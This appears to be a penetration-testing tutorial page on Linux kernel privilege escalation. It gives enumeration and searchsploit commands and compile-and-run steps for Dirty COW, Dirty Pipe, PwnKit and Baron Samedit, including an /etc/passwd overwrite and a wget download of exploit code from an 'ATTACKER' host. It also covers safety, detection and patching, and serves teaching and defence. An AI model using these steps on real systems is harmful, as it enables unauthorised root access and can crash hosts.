Skip to Content
Linux kernel exploitation diagram showing DirtyCOW, Dirty Pipe, and privilege escalation

Linux Kernel Exploits

Guide to identifying and exploiting Linux kernel vulnerabilities for privilege escalation, including enumeration techniques, common exploits, and safety considerations.

Jan 13, 2026
Updated Nov 22, 2026
6 min read

Introduction

A kernel exploit attacks a bug in the Linux kernel itself and, when it works, gives you root directly. The other notes in this section abuse misconfigurations. A kernel exploit needs no misconfiguration at all, only an unpatched kernel, which is why it is the fallback when sudo, SUID, cron and group membership come up empty.

Use with caution

Kernel exploits can take the host down:

  • A failed exploit can cause a kernel panic and a reboot.
  • Memory corruption can damage filesystems.
  • A crashed kernel is loud. Someone will notice.
  • Even a successful run can leave the system unstable afterwards.

Get explicit permission before running one, and use another escalation path if you have one.

Enumeration

System information

# Kernel version
uname -a
Linux target 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64

# OS release
cat /etc/os-release
cat /etc/lsb-release

# Architecture
uname -m
arch

Automated enumeration

# Linux Exploit Suggester
./linux-exploit-suggester.sh

# Linux Exploit Suggester 2
python linux-exploit-suggester-2.py

# LinPEAS kernel section
./linpeas.sh | grep -A 20 "Kernel"

Finding exploits

# Search Exploit-DB
searchsploit linux kernel 4.4 privilege escalation

# Search by specific version
searchsploit linux kernel 4.4.0

Where to look

Notable exploits

Dirty COW (CVE-2016-5195)

Affected: Linux kernel 2.6.22 up to 4.8.3.

A race condition in the copy-on-write code lets an unprivileged user write to read-only memory mappings, and through them to files such as /etc/passwd.

# Compile
gcc -pthread dirty.c -o dirty -lcrypt

# Run
./dirty

Dirty Pipe (CVE-2022-0847)

Affected: Linux kernel 5.8 and later, until the fixes in 5.16.11, 5.15.25 and 5.10.102.

An uninitialised pipe buffer flag lets you overwrite data in any file you can read, including root-owned files.

# Compile
gcc exploit.c -o exploit

# Overwrite /etc/passwd
./exploit /etc/passwd 1 "$(cat payload)"

PwnKit (CVE-2021-4034)

Affected: polkit's pkexec, installed SUID root on most distributions.

Not a kernel bug, but it shows up in the same exploit-suggester output. pkexec mishandles an empty argument list, reads environment variables as arguments, and can be made to load an attacker's shared library as root.

# Compile and run
gcc pwnkit.c -o pwnkit
./pwnkit

Sudo Baron Samedit (CVE-2021-3156)

Affected: sudo 1.8.2 to 1.8.31p2 and 1.9.0 to 1.9.5p1.

Also a userland bug: a heap buffer overflow in how sudo unescapes command-line arguments. Any local user can trigger it, even one with no sudo rights.

# Check vulnerability
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes, likely vulnerable

# Run exploit
./exploit

Exploitation workflow

1. Identify the kernel version

uname -r
4.4.0-116-generic

2. Search for exploits

searchsploit linux kernel 4.4.0
# or
searchsploit "linux kernel 4.4" | grep -i "privilege"

3. Download and transfer

# On attacker
searchsploit -m 40839
python3 -m http.server 8000

# On target
wget http://ATTACKER:8000/40839.c

4. Compile

# Simple compilation
gcc exploit.c -o exploit

# With specific flags (check exploit comments)
gcc -pthread exploit.c -o exploit -lcrypt

5. Execute

./exploit
# id
uid=0(root) gid=0(root) groups=0(root)

Cross-compilation

If the target has no compiler, build on your own machine for the target architecture:

# On attacker (compile for target architecture)
# For 64-bit target
gcc -m64 exploit.c -o exploit64

# For 32-bit target
gcc -m32 exploit.c -o exploit32

# Static compilation (no library dependencies)
gcc -static exploit.c -o exploit

Safety

Before running

  1. Back up critical data if you can.
  2. Test in a lab VM running the same kernel version.
  3. Read the exploit code and understand what it changes.
  4. Check for safer paths first: sudo, SUID, cron, groups.

During the engagement

  1. Record the kernel version before you start.
  2. Agree a recovery plan in case the host crashes.
  3. Tell the client about the risk before running anything.
  4. Stay off production systems where you can.

What failure looks like

SymptomLikely cause
Kernel panicThe exploit corrupted kernel memory. The host needs a reboot.
Segmentation faultThe exploit failed, often because of a wrong kernel version or offsets.
No effectThe kernel is probably patched (distributions backport fixes without changing the version).
Root shell, then instabilityThe exploit worked but left kernel state broken. Get what you need and expect a crash.

Detection and forensics

Indicators

  • Kernel crash logs in /var/log/kern.log
  • Suspicious compiled binaries in /tmp
  • Unusual process memory patterns
  • Core dumps from crashes

Mitigation

# Check kernel version and patches
apt list --installed | grep linux-image

# Apply security updates
apt update && apt upgrade

# Enable kernel hardening
# /etc/sysctl.conf
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2

References

MITRE ATT&CK techniques

Vulnerabilities

Other resources

On this page